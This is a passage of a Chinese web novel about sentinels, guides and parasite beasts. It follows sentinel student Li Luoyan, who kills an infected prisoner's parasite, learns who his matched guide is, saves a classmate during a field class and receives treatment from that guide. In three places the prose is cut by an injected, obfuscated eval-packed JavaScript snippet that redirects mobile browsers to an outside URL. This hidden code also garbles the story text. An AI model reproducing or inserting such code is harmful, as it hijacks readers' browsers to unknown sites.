那生物每移动一寸,囚犯的痛苦就增加一分,嗓音像是漏风的破手风琴那样沙哑难听,已经说不出任何有意义的话语了,能发出的只有因痛苦而本能呼出的声音。 黎珞言手很稳,不受影响地枪口上移,直直对准地上不住扭动的那人的眉心,他没犹豫,也没在意一直在剧烈晃动的目标,眸光专注。这时距离他开的第一枪仅仅只有两秒间隔,他再次扣动了扳机。 仍然是直中目标,分毫不差。 地上那人失去了生息,大睁着的血红眼睛却显出一丝解脱之意。 黎珞言眼皮轻垂着,看着死人仍大睁着的眼睛,嘴唇小幅度地动了动,口型是在说“安息。” 异兽仍在往外爬,它试图抓紧时间逃离这一块危险的地方。于是鼓足了劲爬出它所寄生的人类身躯。 它的移动速度极快,如今只是被人类的躯壳阻滞了速度,但只要它爬出去,只要整个身体都离开了寄生体,它就能…… “砰——” 审讯室里响起的第四声枪响。 ……活下来。 异兽死了。 刚离开寄生体还没来得及窃喜的异兽被子弹射穿了躯体。丑陋的、仿佛多种不明生物杂交而成的躯体,因体态小而具有灵活、移动速度快的特点。 但此刻在黑发哨兵的枪下却失去了自己引以为傲的优势,在自己最擅长逃跑的这一领域被准确无误地击中。 异兽低吟了几声,被击倒在地上。 正如齐泽所想,黎珞言作为联邦军校的一年级新生,和异兽接触确实算不得不多,实战经验也少得可怜,因此他不太确定一枪能不能让异兽死透,沉着眸又补了几枪。 玻璃墙消失。 执政官慢步从那边走了过来,蹲下身将异兽尸体收进了储物戒里。 寄生物,即异兽,只有在离开感染者后才能被收集,一旦死在了感染者身体里,由于某种自我保护的机制,很难获取到全尸,也就不便于后续的研究。 黎珞言就是出于这个原因才等异兽全身出来后才开枪一击毙命。 黎珞言看着他的动作,等他走过来时把手枪抵还给了他。深棕色的训练服上被沾上了部分猩红的血迹,干涸在了上面,他垂着眸,安安静静地看着自己脏了的衣服,皱了皱鼻子。 执政官关闭了连通那个房间显示屏的监控,接过枪后,这才看向黎珞言,问道:“你没有要问我的吗?” 黎珞言眼睛眨了眨,室内无风,他的头发却在很轻地晃动,半晌,他诚实地摇了摇头。 看着不复方才果断利落解决感染者时的冷静沉稳,反而神情很懵,眼神清澈又茫然,活像是意外闯进审讯室的。 执政官按了按额角,本来想说些什么,但看着他这副什么都不在意的模样,话又都被咽了回去。 他抬手按了按哨兵蓬松的黑发,压扁了点,等他收回手,就看着头发又恢复了原状——嗯,像记忆棉。 黎珞言不懂他在做什么,但是在和他对视上后,下意识弯起眸子,握枪时那股自然带出的狠劲冷戾完全散尽了,弯成月牙似的绿眸只余一片澄澈干净。 执政官敛眸,率先移开了视线,没有和他一直对视下去,淡声道:“走吧。” 只是他们还没走出去,门已经被大声敲响了。 “咣咣咣!”不像是在敲门,倒像是上门讨债的。 混账得不行。 执政官拧了下眉,瞬间就猜到了外面不断敲门的是谁。刚打开门,身边就掠过一道风。他还没回头就听见身后骤然响起的声音。 “你没事吧梨子。” 黎珞言看见奚元过来了,明显放松了不少。整个人也不紧绷着了,有点像蔫趴趴的小白菜,站没个站样地靠着身边的人,打了个小小的哈欠:“有点困,算不算有事。” 两个人就跟上课说小话开小差的学生一样,旁若无人地又开始讲话了。 直到执政官扭过头看向他们,这俩人才双双噤声,两双眼睛默契地纷纷看向执政官,表现出很配合很听话的模样。 奚元似乎才意识到自己不打招呼就冲进来的行为有多没礼貌,于是扬起嘴角强行憋出一个他自认为很有礼貌的笑。 执政官也知道他的秉性,懒得和他掰扯,直接看向黎珞言,对上那双澄澈的绿色眸子,他眸光微暗,淡声说:“你的匹配结果出来了。具体信息我已经发到你的终端上了,有时间的时候看看。” 黎珞言微微睁大了眼睛,意识到话语中的内容后,他眼睛亮起来,像是镀上一层亮闪闪的太阳碎光。 马上就低下头找到终端查看父亲发给他的信息,嘴上应付似的“嗯”了两声应下。 他迫不及待的模样让旁边的奚元忍不住撇了下嘴,舌尖抵了抵牙,停顿几秒后拖着他就往外面走,语气正儿八经的:“有时间再看!你急什么。” * 关于哨兵与向导的匹配机制向来是以自愿为原则的。每轮匹配开始前会先经过个人同意,同意后,个人信息才会进入到信息库中,匹配系统会综合考虑年龄、匹配度等多种因素进行配对。 而一轮匹配结束过后,新一轮匹配又会重新征求意愿,直到适龄的哨兵向导进行婚配过后,才会停止入库意愿的询问。 结束了一天无聊又催眠的理论课程,黎珞言像被抽去了精力,趴在桌上,懒懒散散地划着终端开始看匹配对象的资料。 除了一开始知道这个消息时的开心之外,过了几个小时,黎珞言的热情就随着时间过去了。他看着一长串的文字,又开始犯困。 为什么个人资料上连图片都不放一张的啊。 黎珞言眼皮一张一合,重复几次后安然合上了。他手臂一摊枕在胳膊上,眼睛一闭就睡着了。 “梨子。” 黎珞言迷迷瞪瞪地听见了有人在叫他,接着肩膀被拍了拍。他挣扎着睁开眼睛,眼里还泛着雾气,看人时都像是蒙了层柔光滤镜。 “你听说了吗?白塔那个最难搞的向导和你匹配上了!听说他一个能打十个哨兵!” 黎珞言嘴比脑子快,很认真地“嗯嗯”了下,然后使劲眨了眨眼睛,睡迷糊的意识终于回笼。 他侧过头趴着,看着坐在了自己旁边位置的高马尾女生,理所当然道:“这种消息我当然是第一个知道的啊。” 说这话时他还有点小骄傲的意思。 尹惟眉梢微挑,没说什么,只是笑吟吟地往后躺了躺,倚在椅背上。 刚从教室门口进来的奚元刚好听见,琢磨了一下,捕捉到重点:“等等——你说,白塔最难搞的向导?” 黎珞言经他这么一强调,也才意识到这点,慢吞吞地直起了身子,跟着重复一遍:“白塔最难搞的向导?” 一整天的课都结束了,基本大家都走了,此刻教室里就他们三个还在。奚元就出去洗了个手,一回来发现自己的位置被尹惟给占了,腿拐了个弯坐到了尹惟的位置上——黎珞言的后座。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尹惟看他眼睛又快闭上了,后仰着低头看了眼奚元的桌框,果不其然看见了一瓶还没开过的冰水,她毫不见外地从里面抽了出来。 矿泉水的瓶身凝着一层水汽,明显是从冰柜里拿出来不久,她笑眯眯地将瓶身贴在了黎珞言的脸上,把人冰得瞬间就睁开了眼睛。 黎珞言抿着嘴巴,极小声地哼了两声,才勉强接过罪魁祸首给的水。 顺手就用单手开了盖,仰头猛灌下一口,冰凉的触感顺着喉腔流下,他整个人总算清醒了不少。 尹惟笑道:“好了,你的嘴巴现在翘到可以钓起一条鱼了。” 才没有。黎珞言在心里悄悄反驳。 奚元正好把自己包里装的电脑拿了出来,推到了她面前:“诺。我带了。” 电脑盖被掀开,尹惟把屏幕往下掰了掰,以便他们都能看见。 开机密码…… 尹惟完全没有思考,她熟稔地在奚元的电脑里输入了黎珞言的生日,成功开机。 登入浏览器,输入白塔官方网址,再输入关键词“易谌”。 尹惟找到通报批评的那几条信息,做了标注,顺手建了一个新文档,把信息汇总了一下,这才示意他们看。 半晌没听到回应,她抬头看去,发现这两人居然在往矿泉水那小小的瓶盖里倒水。 ……这么幼稚低质的游戏居然能从小玩到二十岁吗?? 这种“一人倒一次,谁倒的时候溢出来谁就输了”的小游戏,尹惟看得眼皮都在跳。 “我说你们——”尹惟看着形成一个凸状的小水球,看起来下一秒就要溢出来了,盯了好一会儿,在他们即将交递水瓶时出声道:“我找人带到你们宿舍的核桃你们吃了吗?” 5. 第 5 章 核桃……? 黎珞言歪过头去看她,点点头说:“吃了。好吃。” 尹惟:…… 对方肯定了你送的核桃的美味,并且完全没意识到核桃补脑的内涵。 奚元恍然大悟:“原来是你送的啊。我一开始……” “他一开始还想扔出去,”黎珞言懒懒地伸出根手指点了点奚元,正大光明告状,一边眨巴眼睛暗暗邀功,“还好我及时阻止了。” “哇塞,”奚元说,“你还不是因为嘴馋。” 而且为了验证那箱来路不明放在宿舍门口的核桃有没有问题,他可是吃了一个确定没中毒之后才放心让黎珞言吃的……好没良心的。 黎珞言伸出的那根指头收回来慢吞吞挠了挠脸,说话慢悠悠的:“浪费粮食不好啊。” 尹惟表情气愤:“……送去的人没有说是我送的吗?” 得到“没有,放在宿舍门口就走了,连字条都没留一张”的回答后,尹惟更生气了。 她右手砸在桌上,俨然一副要找人算账的模样:“我偷偷摘的我家院子里的!好不容易才摘了一箱,差点就被发现了。” 冒着这样的风险,居然最后还失去了署名权!谁为她发声! 黎·支持维权·珞言舔了舔嘴巴,像是回味起美味核桃的味道:“那很好吃了。” 奚·说风凉话·元:“那你找的这人还怪不靠谱的。” 尹惟:……可恶! 插科打诨一会儿之后,尹惟记起正事,把电脑屏幕又往下压了压,让他们都能看见上面的内容。 正色道:“易谌,进白塔才一年不到的时间,和我们算是同期生吧。打架记录已经累了好几条了,我就没见过性子比这还差劲的。我问了好几个白塔的朋友,说这人对谁都冷脸,向导也打哨兵也打……最辉煌的事迹就是,一个人干了十个哨兵,直接上了白塔的通报墙。” 她回想了一下那些人义愤填膺的控诉,总结道:“就是一个孤僻又独狼的向导。” 黎珞言还没对自己的匹配对象的事迹发表什么感言,奚元率先发问:“那他怎么还没被开除?” 尹惟扶额:“不论是联邦军校还是白塔,都是非常看重学生个人实力的。他和梨子的匹配度达到了百分之九十六,你觉得他的精神力可能是s级以下吗?” “就单说他单挑十个哨兵这事吧,从道德层面来说值得谴责,但话又说回来,战斗水平挺高的。” “但我觉得……”尹惟轻轻垂下眸,眉头皱着。 以执政官对梨子事无巨细的关心程度,最后的匹配结果一定是经过他过目的。所以为什么他会让梨子和这样一个似乎有暴力倾向的向导发展? 奚元不以为然:“实力能有多强?白塔的首席不是一直是温暻没变过吗?他难道能到那个水平?” “不一样,温暻是治愈型向导,但易谌他……是攻击型的。” 尹惟按了按额角,她真心有点为黎珞言担忧了,“他的精神体是蛇啊。我第一次知道向导的精神体也可以是这种东西的!” 蛇? 黎珞言慢吞吞地发着呆。蛇很可爱啊。 电脑突然跳出一条消息:奚哨兵您好,已为您匹配到合适的对象,有深入了解的意向可添加联系方式~祝相处愉快喔~ 这条信息跳出来的时机太好,一时间三人都看见了,空气都安静了几分。 黎珞言原本百无聊赖的心情稍微被激起了一点兴趣,好奇问道:“你也去匹配了?” “啊……呃。对。” 事实证明,人在尴尬的时候会很忙碌,奚元整个人快要红温了。 一把抢过鼠标后匆忙地点小叉号,结果一个手抖反而点进了匹配库当中。 黎珞言凑近看,惊讶道:“这轮匹配居然有这么多人吗?” 他还在上面看见了温暻的名字。按理来说,温暻已经是白塔首席了,怎么还需要靠匹配系统分配呢? 尹惟笑了笑,没有说出那个显而易见的原因。她没和奚元来一场鼠标争夺战,而是把手放在了电脑的触摸板上,滑动着点开了温暻的匹配资料。 似是发自内心的,对着黎珞言说:“好遗憾。你和温暻的匹配度是百分之七十九。” 黎珞言倒没这么觉得,他一向觉得一切自有安排,随便怎样都可以啦。 于是弯起眼笑道:“温暻哥吗?他肯定不用担心匹配对象的事……” 他忍不住打了个小小的哈欠,眼睛快闭上了,继续说:“等我有了对象之后,就不用再麻烦温暻哥给我做精神疏导了……这么一说,我突然觉得我真的有点过于频繁地找他了。他肯定觉得很辛苦……” 黎珞言抿了抿唇,睁开眼睛没几秒,眼皮又耷拉下去,没精打采的。 尹惟弯唇笑起来:“苦中作乐。” 奚元整个人还在红温,连两人的对话都没听清,但下意识就接了句:“乐在其中。” “中……”黎珞言皱了皱鼻子,没想出来。 他拖长了尾音,嘴唇微张,圈成一个小圆。似乎是在认真思考成语,但表情已经明显是心不在焉了。 他手里抓着矿泉水瓶,漫不经心地晃了晃,然后将瓶身贴着脸,一双漂亮的绿眸盯着随便一处就开始走神。 后面没说上几句,黎珞言就又打了个哈欠,眼里晕了层薄雾,看着人时像是强撑着保持清醒。 把尹惟看得都有点于心不忍了,笑出声,轻轻拍了拍他的肩:“困了就先回去睡觉吧。” 黎珞言点点头,仰头把最后一口水喝光了,盯着空瓶子停顿两秒,然后试探性地推给了奚元。 奚元不知道在想什么,也没反应,下意识地就把瓶子接过了。 耶。有人帮忙扔垃圾了。 黎珞言弯了弯眸子,咬了咬舌尖才把唇角抑制不住的笑容压住,慢吞吞说了一句“我先回去了”,起身离开了教室。 尹惟撑着头,笑眯眯地和黎珞言挥手道别,等到彻底看不见他人影了,她才又转过头来,看向心不在焉的奚元。 她突然说:“哨兵和哨兵之间的匹配度一般是多少啊?我还真挺好奇的。” 奚元没有看她,反而视线一直盯着空荡荡的矿泉水瓶,眼皮垂着莫名显得有点凶,红发盛气凌人:“我怎么会知道?” “哦——”尹惟拖长了尾音,笑道,“就当你不知道吧。” 她把自己的书收拾了一下,背上包准备回宿舍,还没出门口就听见身后的人沉闷的声音。 奚元说:“至少不是百分之零。” 她的脚步微顿了一下,很轻地侧了下头,奚元仍低着头看着空空如也的矿泉水瓶像在发呆。 “嗯,至少不是百分之零。” 尹惟停顿片刻,回道。 看在两人这么多年的交情上,她最后还是没说出什么伤人的话来。 还是鼓励鼓励吧,怪可怜的。 * 联邦军校的课程分为理论课、实训课和实践课三类。 黎珞言继在理论课上睡觉,旷了实训课在宿舍睡觉之后,终于被提溜去实践课了。 对抗异兽这种事主要是军队的人负责。军校生作为将来会上战场的学生主要起到一个观众的作用,顺便在清理战场的时候做一个打下手的辅助。 联邦军校开启这种课程是为了锻炼一下在校学生的心理承受能力,不至于将来上战场碰见异兽两眼一抹黑,直接晕倒变成伤患,拉开敌我差距。 异兽的叫声和人类很不一样,它们发出的声波是人类听不懂的频率,只有依靠特殊仪器才能识别。但据特殊仪器分析后得出的结论是,异兽并不具备神智,说出口的语言大多是无实意的咿咿呀呀之类的话。 哨兵的精神体多是大型猛兽,战场上的战况十分血腥凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496415|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残。残留在口腔尖牙上的血肉,染红一片土地的暗沉血液,嘶吼声和哀鸣声混杂在一起。 这就是污染区的常态,越深入,异兽群体的力量就越强,相对来说越难解决。 为了保障学生安全,联邦军校的实践课向来是安排在污染区的最边缘,在这片区域,哨兵对异兽几乎是碾压般的压制。 “这是污染区。”一个面色严肃的老师走了过来,敲了敲桌子。 正埋着头吃小蛋糕的黎珞言舔了舔嘴唇,舌尖把奶油卷进嘴里,才抬起头。他看着古板严肃的老师,用所有的聪明才智思考了一下老师的言外之意。 ——没思考出来。 于是只能对字面意思表示赞同,点点头肯定了这里确实是污染区。 奚元以拳掩唇,尴尬地不想抬头:……完蛋,被抓包了。 黎珞言自认为十分配合,仰着脑袋,绿眸水亮地望着人,等着他继续说话。但在那个老师看来却更像是挑衅。 当实践课是来旅游的吗?观摩战斗还吃上零食了??挨了训也不赶快把吃的收起来,居然还敢瞪他? 古板老师哼出一声,把人劈头盖脸训一顿之后,当即发配俩人去收集尸体了。 在战后场地上,奚元一吸气,闻着的就是异兽尸体的臭味和血腥味混杂在一起的气味。想深呼吸平复心情都只敢呼不敢吸。太阳还很大,把死物晒得更难闻了。 他拧着眉,把异兽尸体收进储物袋里,最后这些尸体会由军部集中处理。 在清扫战场的工作中,收集尸体是最不受欢迎的工作,其他和这比起来都还好,毕竟不用闻那让人头疼的臭味,那气味难受得就跟精神污染似的。 奚元边捡尸体边忿忿不平地说:“那老古板怎么回事!没招他没惹他,过来就骂人!我好端端坐在那儿,什么也没做,居然说我在划水摸鱼??我是在认真学习格斗技巧好吧!又不是做了什么违规的事!难怪所有人都讨厌上他的课。” 黎珞言皱皱鼻子,补充道:“我也只是吃了一个蛋糕。而且还没吃完……” 刚说完,奚元就拿手肘轻轻撞了他一下,见他茫然看过来后,义正言辞:“梨子,你最该好好反省一下。” 黎珞言眨眨眼睛,懵道:“我怎么了?” 他是真的没觉得自己有什么问题。 奚元道:“你看着这么一副场景还能吃得下东西,他肯定觉得你在发呆,没认真看。” 黎珞言实话实说:“我胃口好啊。” 奚元看着他沉默了几秒,不得不承认:“那是挺好的。” “啊!!!” 不远处突然传来破音的尖叫声。 两人的话戛然而止,黎珞言下意识扭头看过去,注意到那边的情况时眉心皱起。 刺眼的阳光映在眼底,在宝石绿的眸中折出一道锐利的冷芒。 * 不远处。 几个穿着联邦军校训练服的哨兵任劳任怨地清理尸体。 一个人突然想到:“欸,你们说这些异兽会不会没死透,突然爬起来啊?” “……不可能吧。” 旁边那个卷毛哨兵呲着牙笑,又敛了笑,以一种故作深沉的语气:“可能性非常低,但不为0。” “哈哈哈哈。那得是多惨的倒霉蛋才会遇上啊。” 几个人被这个从未发生过的猜想逗笑,笑成一团,一边插科打诨,一边丝毫不认真地收集异兽尸体。 卷毛哨兵蹲下身子,伸出手准备将尸体收进储物袋里,一边扭过头和旁边人说笑,完全没有注意手下的情况。 直到面前人的脸色突然凝滞,瞪大眼睛,从喉咙挤出两个字:“小心!” 他条件反射回过头,对上一张张大了的血盆大口,他清晰看见张大的不规则牙齿间还粘连着血沫,面色陡然苍白如纸。 “啊!!!”喉咙口溢出惨叫。 6. 第 6 章 地上晕了一大片干涸的血迹,长相怪异可怕的异兽“死而复生”,似乎是拼着最后一口气张大了嘴。 卷毛眼眶瞪大,瞳孔缩小,他无比清晰地认识到异兽试图将他,一个弱小且无力反抗的人类,一口囫囵吞下,作为一种恰到时机的补给。 他这时候忽然开始胡思乱想,或许,人在濒死的时候确实是会完全失去行动能力的。 卷毛整个人瞬间失力坐在了地上,脸色苍白,直愣愣地看着那只突然奋起的异兽“尸体”,红黑色的血口瘆人,几乎要将他整个人包裹在内。 ……怎、怎么办?他真的要死在这里了吗? 突然,眼里映入一点金色的光,像是刺破黑暗的曙光。卷毛睁大了眼睛。旋即,那缕金光越来越亮,范围越来越大,直到占据了整个瞳孔。 属于小动物的暖洋洋的味道瞬间冲散了腐烂的腥臭,鼻腔里涌入温暖清新的气息。 卷毛哨兵突然感觉自己好像又活过来了。 他艰难地大睁着眼,看着巨大的金毛狮子以一种极为震撼的速度冲进视线,随即张开口将异兽一整个吞入腹中,以一种胜利者的姿势踩在了地上,蓬松漂亮的金毛沾上了一点脏污,但这完全不影响它的英姿。 金毛狮子昂着巨大的脑袋,似乎注意到了附近还有一个小卡拉米,于是扭过头,一双宝石般碧绿的兽瞳居高临下地望着他。 卷毛哨兵仍保持着摔坐在地上的姿势,反手撑着地,仰着头看它。太阳太刺眼了,他其实不太能看清狮子的全貌,而且这样仰着头看,太阳刺得他眼睛都发酸发胀了。 眼前的金毛狮子好像一点点变小了……眼睛被晒出错觉了吗?救命。 他眼睁睁看着金毛狮子缩小到了手掌大小,然后跳上了另一个人的掌心。于是他的视线也跟随着转了过去。 ……逆着光,看不清楚。 突然,眼前伸出了一只手,是狮子的主人伸出来的,手指白皙纤长。 卷毛喉结滚动咽了口水,手抖得跟筛子似的,刚想搭上去,就被人拽着后领提了起来。 被太阳刺了好半天的眼睛酸胀得不行,他一眨眼睛,眼泪就掉了出来。 但他没工夫管眼泪,也没工夫管谁拽他后领子了,只一脸专注地望着面前的哨兵,像相亲似的赶忙理了理训练服的外套,紧张地差点咬到舌头:“你好!我、我叫常西!” 声音还发着抖,俨然说话的人还没有完全从方才的惊吓缓过神来。 “是你啊。哦,那天谢谢你的飞行器了。” 奚元上一秒沉着脸把人拽起来了,下一秒脸色稍微好了些,双手环抱着,显然是记起了这张脸。 这不就是那天他赶着回宿舍叫梨子起床时慷慨赠送飞行器的好心人吗。 他查了,那还是款限量版的飞行器,这人随口就送出去了,财大气粗啊。 奚元还是有点拿人手短的意识,脸色也没刚才那么差了,特别是注意到面前这位哨兵都被吓哭了,张了张嘴,还是闭上了,没好意思再说些什么刻薄的话。 常西脸长得幼,看上去还真不像联邦军校的,倒像是误入污染区的倒霉中学生。 他也根据那一头火焰似的红发认出了奚元,和他点头示意之后便又看向了救了他的黑发哨兵,眸光专注而炙热:“你好……我能问问,你叫什么名字吗?” 眼前的黑发哨兵看着有点冷,脸长得又俊又帅,一双眼睛和他的精神体如出一辙,好看得不行。此时正垂着眸,轻轻给手掌里的毛茸茸顺着毛。 常西的心脏跳得飞快。他突然又开始反思自己是不是问得太突兀了,会不会冒犯到了对方。 奚元看着黎珞言的脸色有些不好,他抬手用手背贴了贴黎珞言的额头,微微有点发烫。于是很担心地低声问:“没事吧。” 黎珞言紧抿着唇,唇色被他抿得都泛红了。他摇摇头表示问题不大,又看向常西说,回答了他刚才的问题:“我叫黎珞言。” 说完后,他眉头皱起,似乎是身体难受,小声地跟奚元说了句什么就离开了。 奚元还是不太放心地盯着他的背影。 常西也紧紧盯着他离开的背影。 原来,他就是黎珞言…… 下一刻后背就被硬木板狠狠砸了一下。他疼得龇牙咧嘴,气道:“谁砸小爷!” 一转头就看见沉着脸的老师,立马泄了气,低下头老老实实喊了声:“严老师。” 奚元看见这个害自己来打扫尸体的老古板就心烦,索性别过头去装没看见。 严弥正值壮年,其实并算不上老,但一身古板陈旧的气质总让人觉得他应该是上上上个世纪的人了。 他是被常西那几个同伴喊来救援的,那几个人找到他时说话都语无伦次的,眼泪都快飙出来了,但好歹是让他一瞬间意识到了事情的严重性,用最快的速度飞速赶来了。 想到这里,严弥面色严肃,手里拿着打人用的硬木板,一字一句地说:“我强调过无数次,实践课并不是游戏。你们把清扫战场当作玩笑吗?真正的战场比这更危险,你们也能当玩笑吗?” “平时一个个嘻嘻哈哈、吊儿郎当的就算了,毕竟都是一年级的新生。但你们就连现在也一点战斗素养也没有吗?” 在他的威压下,一时间没人敢说话,尤其是刚刚才死里逃生的常西。 严弥的脸色越说越黑,他简直觉得这届一年级的新生是不是脑子都有问题:“我想理论课的老师是说过,遇到危险了第一时间向老师求助。但不是说异兽下一秒就要把你们的同伴吞下去了,你们还要跑到营地来找我!说严重点,你们这就是逃兵行为!” 面前的学生头越来越低,现场安静得连呼吸声都放得极轻。 他审视的目光扫过在场的所有人,看了看平安无恙的常西,又看了看后方的异兽尸体,停顿片刻后,问道:“没死透的那只异兽最后是谁解决的?” 是天降神狮! 常西的眼睛都亮了起来,应话前下意识回头看了一眼,看见空荡荡的一片土地,一时间忍不住暗暗咂舌,甚至在想到当时的场景时起了一身鸡皮疙瘩。 嘶,连尸体渣都没了。 他终于知道联邦军校论坛里为什么要说黎珞言是神了…… * 话题的主人公此时正在营地里边。 黎珞言捧着金毛小狮子进了洗手间,走到洗手台前开始给毛脏了的小金毛洗毛上沾染的脏污。 洗着洗着,身体一阵难受,头也开始发晕,黎珞言迅速腾出只手撑在洗手台前支撑住身体。 湿哒哒的小狮子望着他,旋即低下头蹭了蹭他的手心,像是在安抚主人。 黎珞言抿着唇,难受得眉心紧蹙,严肃批评它:“厄斯,你不能什么都吃,知道了吗?” 精神体和主人在一定程度上是共感的。厄斯生吞了那只异兽,反应到黎珞言身上的就是全身难受,特别是胃,火烧一样难受。 他难受时并不会表现得很明显,只是很没有精神,像颗蔫趴趴的小白菜。但他平时放松下来也总是没精打采的,因此看不太出来。 小狮子似乎是意识到错误了,“嗷呜”“嗷呜”叫了两声,又贴着主人的手心蹭了蹭,撒娇似的。 黎珞言检查它身上的毛洗干净了之后,把它收了回去。 他撑着洗手台,半垂着眸。……不行,必须得找个向导给自己做个脑域污染的浅层清理。 黎珞言当机立断在终端上约了诊疗室,打听了去诊疗室的路后,乖乖坐在了门口排队。 像这种污染区内部设立的营地,诊疗室都是供不应求的。所以约诊疗室只能约随机不能约指定,只要哪边空了就进哪边。 谁也不知道给自己做诊疗的向导是谁。 黎珞言靠在椅子上,半仰着头闭目养神,突然,他的终端响了下,是排到他的号了。 他鼓了鼓腮,缓缓吐出一口气,难受得脸上做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496416|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一点表情,惨兮兮地进了亮灯的诊疗室。 直到坐在了凳子上,他才有精力抬起头看一看给自己进行疗愈的向导。 刚一抬头就正巧和对面的向导对上了视线,黑得透不进一点光的眼珠看着人时隐隐显出几分阴冷的鬼气。 不知道为什么,黎珞言总有一种对方好像一直在盯着他看的错觉。而且,进了这间诊疗室,他莫名感觉浑身凉飕飕的,就像开了制冷效果超好的空调一样。 即便难受成这样了,黎珞言还有心思发散性地想,出去前一定要问问是哪一家的空调制冷效果这么好,他要偷偷安在宿舍里。 “黎珞言,是吗?”向导念出他的名字,嗓音冰凉,特别是在念他的名字时咬字莫名很重。 清醒时的黎珞言都听不出这种细微的差别,更别提是现在难受到不想动弹的他了。 黑发绿眼的哨兵一进了门便整个人趴在了桌子上,闻言缓慢地眨眨眼睛,然后像是反应过来了,点点头,说话也慢吞吞的:“你好,我现在很难受,我的精神体吃了不该吃的东西,我的头好晕,身体也没劲。” 其实他从来没接受过这种预约式的精神疏导。由于个人体质的原因,他对向导素的需求比其他哨兵要高,所以一直以来他接受的都是温暻的单人疏导。 如果不是因为厄斯乱吃东西,他也不至于难受到需要临时找向导做精神疏导…… 黎珞言并不清楚预约到诊疗室之后的具体流程应该是怎样的,他想着应该就和到医院看病是一样的,于是一个字一个字地往外蹦。 难受的人说话都是很没有逻辑的,但黎珞言已经竭尽全力表达出自己的意思了。 对面的向导冷淡地嗯了一声,表示听见了。 黎珞言发呆的时候会开始想别的事情,想着之前接受疏导的事情,又看着对面的向导一动不动。 他记得温暻每次做疏导都会握住他的手,于是想着在预约式诊疗室里,自己是不是应该主动一点,节约时间…… 黑发绿眸的哨兵歪着头趴在臂弯上,右手手臂慢慢伸出来,指尖慢吞吞地、向着向导搁在桌上的手够去,刚要碰上,就见面前的手迅速往旁边移开了。 黎珞言动作一顿:“……?” 他疑惑地看着对面的人,语气真诚:“不牵手吗?” 向导:“?” 他半眯起眼睛,像是在笑,但仔细看过去,眼里又没有笑意:“你认出我了?” 话音刚落,他就看着对面的哨兵手肘撑着桌子朝他俯了过来,很近的距离,近到他似乎都能嗅到哨兵从内而外散发出的那种暖洋洋的香气。 他的睫毛剧烈颤动了一下,却没有躲开,轻微仰着头,一双深黑色的眸子不偏不倚和面前的哨兵对视着。 呼吸在这一瞬交缠、勾连,以这样一个距离——这样一个对陌生人来说过于亲密的姿势。 然后他看着哨兵眨了下眼,澄澈的绿眸里满是茫然。 “我不认识你啊。”哨兵说。 “……” 同样是来上实践课的向导垂下眼,终于意识到面前这人凑这么近只是为了近距离观察他的脸是不是见过的面孔。 易谌没有要说破自己身份的打算,他平静地看着黎珞言重新坐回了凳子上,又像没骨头似的趴在了桌子上。 他盯着看上去还有点懵、不在状态的黎珞言,淡声道:“精神疏导不需要肢体接触。” 黎珞言似有所悟地点点头,垂着眸看了看自己的手。 看了一会儿后,他又开始走神,视线飘到对方的手上,忽地注意到对方的手上戴着一个黑色手环,好奇心十足地仔细观察了好一会儿,直到那个手环突然吐出一条细长的猩红舌头,黎珞言眼睛睁大了点,才恍然意识到这是一条蛇。 为什么把蛇戴手上呢……? 黎珞言想了好一会儿,得出结论:大概是喜欢小动物? 嗯……喜欢小动物的能是什么坏人? 7. 第 7 章 黑发向导的眉眼轮廓像是墨笔勾勒而成的,抬起眼望向人时,纯黑的眼睛像是深不见底的深渊。 黎珞言在他的眼睛里缩成了很小一个,模模糊糊的倒影仿佛要被深藏于渊底的海怪拉拽下去。 对向导的视线全然未觉的黎珞言很乖地趴在桌上,他难受得皱皱巴巴的,恍惚到咬住了指节才清醒过来。 开口时嗓音有点哑,他极力压抑着身体的难受,说话一个字一个字往外面蹦:“我可以做疏导了吗?” 向导看着他无意识做出的小动作——不住地咬着嘴唇,又舔着嘴巴。 他才注意到眼前的哨兵牙齿有点尖,压在嘴唇上时看起来一旦使劲就会咬出两个吓人的血洞。 像是……饿了? 易谌对食物并不热衷,饿的时候向来都是靠寡淡无味的营养液充饥,但面前的哨兵像是想在嘴巴里咬点能够嚼一嚼的食物,应该不会想要营养液…… 易谌摸了摸外套的口袋,里面装着一颗营地里的向导前辈分发的硬糖。隔着外套硬质布料,指尖轻轻碰着那颗糖。 他又抬头看向蔫蔫的哨兵。 实际上,他有点生理性厌人。 但面前这个……像小动物一样。安静的时候像,说话的时候像,就连小动作也像是小动物在撒娇。 无理取闹的发疯哨兵易谌见得多了,暴力压制就行。以至于现在见到一个总发呆的笨蛋他还有点不太适应。 “黎珞言。”向导说。 黎珞言两手交叠着搭在桌上,一听见自己的名字,条件反射就抬起了头。 然后他就看见对面的向导伸出拳头到自己面前。 嗯……看上去像是想给他一拳。 下一瞬向导就张开了手心,手掌里躺着颗水果硬糖。 易谌问:“吃吗?” “要吃。”黎珞言弯起眼睛,收下糖后就一口咬进了嘴里,属于水果的沁甜味在唇齿间蔓延开。 易谌想,果然吃东西的时候也很像小动物,真的很像口欲期的小动物在磨牙。 “闭眼。我给你做疏导。” 